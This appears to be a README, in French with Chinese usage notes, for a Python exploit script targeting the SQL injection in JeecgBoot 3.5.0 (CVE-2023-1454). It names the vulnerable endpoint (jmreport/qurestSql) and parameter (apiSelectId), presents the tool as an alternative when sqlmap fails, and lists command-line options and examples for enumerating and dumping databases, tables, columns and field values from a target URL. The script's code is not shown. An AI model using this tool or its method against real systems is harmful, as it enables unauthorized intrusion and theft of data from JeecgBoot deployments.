shad0w0sec/cve-2023-1454-expPour JeecgBoot SQL (CVE-2023-1454), lorsque l'injection sqlmap ne fonction pas, vous pouvez utiliser ce script.
La version 3.5.0 de jeecg-boot présente une vulnérabilité d'injection SQL. Cette vulnérabilité provient d'un problème de sécurité dans le fichier jmreport/qurestSql, via le paramètre apiSelectId, entraînant une injection SQL.
python3 CVE-2023-1454.py
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Specify the base URL
--current-db View current database
--dbs View all databases
-D DATABASE, --database DATABASE
Specify the database name
--tables View tables in the specified database
-T TABLE, --table TABLE
Specify the table name
--columns View columns in the specified table
-C COLUMN, --column COLUMN
Specify the column name
Example:
python3 CVE-2023-1454.py -u xxx.com --current-db 查看当前使用数据库名
python3 CVE-2023-1454.py -u xxx.com -dbs 查看所有数据库名
python3 CVE-2023-1454.py -u xxx.com -D 数据库名 --tables 查看数据库下的表名
python3 CVE-2023-1454.py -u xxx.com -D 数据库名 -T 表名 --columns 查看表下的字段名
python3 CVE-2023-1454.py -u xxx.com -D 数据库名 -T 表名 -C 字段名 查看字段